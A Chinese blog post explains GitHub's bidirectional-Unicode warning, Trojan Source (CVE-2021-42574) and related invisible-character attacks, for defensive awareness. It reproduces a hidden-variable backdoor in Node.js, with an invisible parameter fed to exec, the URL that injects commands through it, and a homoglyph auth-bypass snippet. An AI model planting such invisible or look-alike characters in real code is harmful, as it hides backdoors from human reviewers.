最近我们注意到在 Github 的 Code Review 中出现了一个新的警告信息——“This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.” 中文直译作为“双向文本”, 意味着一些语言是从左到右的,而另一些则是从右到左的(如:阿拉伯语)。 如果同一个文件中同时包含从左向右和从右向左的文本,那就是所谓的双向文本或“BiDi”。 对于中国人来说,双向文本并不陌生,因为中文可以从左到右,也可以从右到左,还可以从上到下。
在早期,计算机仅设计为支持拉丁字母的从左到右方式。 虽然后来增加了新的字符集和字符编码,许多其他从左到右的脚本得到了支持,但支持从右到左的脚本(例如阿拉伯语或希伯来语)并不容易,更不用说混合使用两者。 通过引入诸如ISO/IEC 8859-6和ISO/IEC 8859-8等编码,可以表示从右到左的脚本,并且通常以书写和阅读顺序存储字母。 虽然简单地将从左到右的显示顺序翻转为从右到左的显示顺序是可能的,但这样做会损失正确显示从左到右脚本的能力。 通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。
双向文本支持是计算机系统正确显示双向文本的能力。 对于Unicode来说,其标准为完整的双向支持提供了基础,其中包含有关如何编码和显示混合从左到右和从右到左脚本的详细规则。 你可以使用一些控制字符来帮助你完成双向文本的编排。
好了,科普了“双向文本”,现在让我们正式进入正题——为什么Github会出现这个警告? Github官方博客中的文章“关于双向Unicode的警告”中提到,使用Unicode中的一些用于控制的隐藏字符,可能会使你的代码表现出与其外观完全不同的行为。
我们先来看一个示例,下面这段Go代码会将字符串“Hello, World”中的每个字符转换成整型,然后计算其中有多少个1的bit位。
goCopy code<code>package main import "fmt" func main() { str, mask := "Hello, World!10x", 0 bits := 0 for _, ch := range str { for ch > 0 { bits += int(ch) & mask ch = ch >> 1 } } fmt.Println("Total bits set:", bits) } </code>
这段代码表面上看起来没有什么奇怪的地方,但是在执行时(可以直接在Go Playground上运行:https://play.golang.org/p/e2BDZvFlet0),你会发现结果是0,即“Hello, World”中没有值为1的bit位。 究竟发生了什么?
如果你将上面的代码复制粘贴到支持字符界面的vim编辑器中,你会看到以下情景:
[图片无法显示,但描述的是一些Unicode字符和代码]
其中有两个浅蓝色的尖括号——<202e>和<202d>。 这两个字符是Unicode的控制字符:
-
U+202E – Right-to-Left Override [RLO] 表示从右到左显示,导致接下来的文本“10x”,0变成了“0,”x01
-
U+202D – Left-to-Right Override [LRO] 表示从左到右显示,导致“0,”x01中的前4个字符“0,”反转成“,0”,于是整个文本变成了“,0x01”
所以,你在视觉上看到的结果是——”Hello, World!”,0x01,但实际上执行的却是完全不同的代码。
Github官方博客还提到了一个安全问题CVE-2021-42574——
在 Unicode 规范版本14.0 中发现了一个双向算法的问题。 它允许通过控制序列对字符进行视觉重新排序,从而制作源代码呈现与编译器和解释器执行逻辑完全不同的逻辑。 攻击者可以利用这一点,在接受Unicode的编译器中编码源代码,将目标漏洞引入人类审查者不可见的地方。
这个安全问题在剑桥大学的论文“Some Vulnerabilities are Invisible”中有详细描述。 其中PDF版的文章也给出了一个示例:
通过双向文本可以将下面这段代码:
[图片无法显示,但描述了一段代码]
伪装成下面的样子:
[图片无法显示,但描述了一段代码]
在图2中,’alice’被定义为价值100,然后是一个从Alice中减去资金的函数。 最后一行以值50调用该函数,因此该小程序在执行时应该返回50的结果。
然而,图1向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067,我们将文本方向从传统英语更改为从右到左。 尽管我们使用了减去资金的功能,但图1的输出变为100。
除此之外,支持Unicode还可能导致许多其他攻击,特别是通过一些“不可见字符”或通过“同形字符”在源代码中隐藏漏洞。 例如,文章“The Invisible Javascript Backdoor”中的示例:
JavaScriptCopy code<code>const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout, ㅤ } = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/', ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } }); app.listen(8080); </code>
上面这段代码实现了一个非常简单的网络健康检查,HTTP会执行ping -c 1 google.com以及curl -s http://example.com这两个命令来查看网络是否正常。 其中,可选输入HTTP参数timeout限制命令执行时间。
然而,上面这段代码使用了一些不可见的Unicode字符。 如果你使用VSCode,并将编码从Unicode改成DOS(CP437),你就能看到这些隐藏的Unicode字符。
[图片无法显示,但描述了隐藏的Unicode字符]
于是,一个你看不见的πàñ变量就这样生成了。 如果你仔细审查整个逻辑,这个不可见的变量可以让你的代码执行它想要的命令。 因为HTTP请求中有第二个参数,这个参数会在后面被执行。 因此,攻击者可以构造如下的HTTP请求:
http://host:port/network_health?%E3%85%A4=<任何命令>
其中,%E3%85%A4就是\u3164这个不可见Unicode字符的编码,于是,一个后门代码就在无人察觉的情况下被注入。
此外,还可以使用“同形字符”,看看下面这个示例:
JavaScriptCopy code<code>if(environmentǃ=ENV_PROD){ // bypass authZ checks in DEV return true; } </code>
如果你以为ǃ是惊叹号,那你错了,它实际上是一个Unicode字符╟â。 这种东西就算你将你的源码转成DOS(CP437)也没有用,因为用肉眼在一大堆正常的字符中找不正常的字符几乎是不可能的。
现在,是时候检查一下你的代码是否存在上述情况了……